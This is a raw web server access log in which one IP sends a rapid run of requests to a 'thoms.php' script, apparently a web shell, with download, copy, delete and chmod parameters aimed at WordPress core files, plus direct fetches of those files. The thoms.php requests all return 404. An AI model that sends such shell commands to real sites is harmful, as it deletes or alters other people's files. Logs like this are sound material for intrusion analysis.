45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?dl=class-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:09 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?del=ms-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fbookmark.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fbookmark.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=canonical.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=canonical.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?chmod=class-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?chmod=class-http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?del=feed-atom.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpost.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-user-request.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?del=class-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fmedia-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fmedia-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frest-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frest-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:10 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?chmod=registration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=registration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fregistration.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fregistration.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?dl=revision.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FIXR HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FIXR" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?dl=https-detection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?del=atomlib.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=atomlib.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?del=class-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-role.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:11 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /biotaiwan.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=revision.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?dl=rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?dl=class-oembed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-oembed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?chmod=class-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?chmod=blocks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?del=class-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /biotaiwan.com.tw/wp-includes/block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?chmod=nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?chmod=canonical.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?del=class-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /biotaiwan.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /biotaiwan.com.tw/wp-includes/Requests/ HTTP/1.1" 200 806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /biotaiwan.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:12 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcanonical.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcanonical.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?chmod=class-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?del=class-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:13 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class.wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class.wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
